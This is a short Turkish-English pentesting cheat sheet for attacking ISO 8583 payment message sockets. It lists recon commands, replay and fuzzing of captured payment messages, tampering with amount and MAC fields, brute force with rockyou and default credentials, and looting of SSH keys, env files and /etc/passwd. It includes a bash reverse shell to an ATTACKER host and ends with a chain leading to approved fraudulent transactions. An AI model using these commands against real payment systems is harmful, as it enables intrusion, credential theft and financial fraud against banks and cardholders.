Pentesting ISO 8583 Payment Sockets

ISO-8583 payment

Ödeme mesajları sabit alanlı binary protokoldür. Replay, field manipulation ve zayıf MAC kritiktir. Hedef lab IP’si üzerinde komutları 8583 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. Socket yakala.

2. Parse fields.

3. Replay/mutate.

4. Auth/MAC zayıflığı.

Keşif

nc -nv TARGET PORT

sudo tcpdump -ni any -w iso.pcap host TARGET

python3 iso8583_decode.py iso.pcap

Abuse

python3 iso_replay.py TARGET PORT msg.bin

python3 iso_fuzz.py TARGET PORT

MTI/STAN/amount tamper; weak MAC key

Derin enum

ISO 8583 Payment Sockets için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p8583 TARGET

nmap -Pn -p8583 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:8583' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',8583));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ISO 8583 Payment Sockets

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 8583 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 8583

nmap -p8583 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit ISO-8583

msfconsole -q -x 'search ISO-8583; exit'

nuclei -u https://TARGET:8583 -t cves/ -silent -severity || true

nuclei -u http://TARGET:8583 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 8583

printf '
' | timeout 3 nc -nv TARGET 8583

curl -vk --http1.0 http://TARGET:8583/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

pcap → mutate → approve fraud / logic bug